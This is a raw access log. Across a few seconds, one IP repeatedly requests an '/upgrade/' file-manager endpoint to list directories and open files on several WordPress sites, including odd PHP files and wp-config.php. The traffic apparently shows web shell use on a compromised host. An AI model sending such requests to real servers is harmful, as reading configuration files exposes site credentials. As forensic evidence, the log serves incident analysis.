45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2F HTTP/1.1" 200 7863 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 8628 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7964 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 9078 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 11436 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 52327 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 10951 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2F HTTP/1.1" 200 7873 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7975 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 8009 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 8026 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 7972 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 9306 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9028 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 200 13400 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 200 25599 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 9439 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 9853 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 9613 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2Fhome%2F HTTP/1.1" 200 5800 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 8304 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 8294 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 10399 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F&option=file HTTP/1.1" 200 8018 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 20570 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:32 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F&option=folder HTTP/1.1" 200 8022 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 200 6400 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 24911 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 18653 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 10084 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F&option=dir HTTP/1.1" 200 8020 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 16154 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 9229 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 11473 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F HTTP/1.1" 200 14938 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fwp-admin HTTP/1.1" 200 13226 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 9880 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 10758 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 10226 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 10713 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:33 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 9906 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7960 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fwp-content HTTP/1.1" 200 6611 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8675 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 10289 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
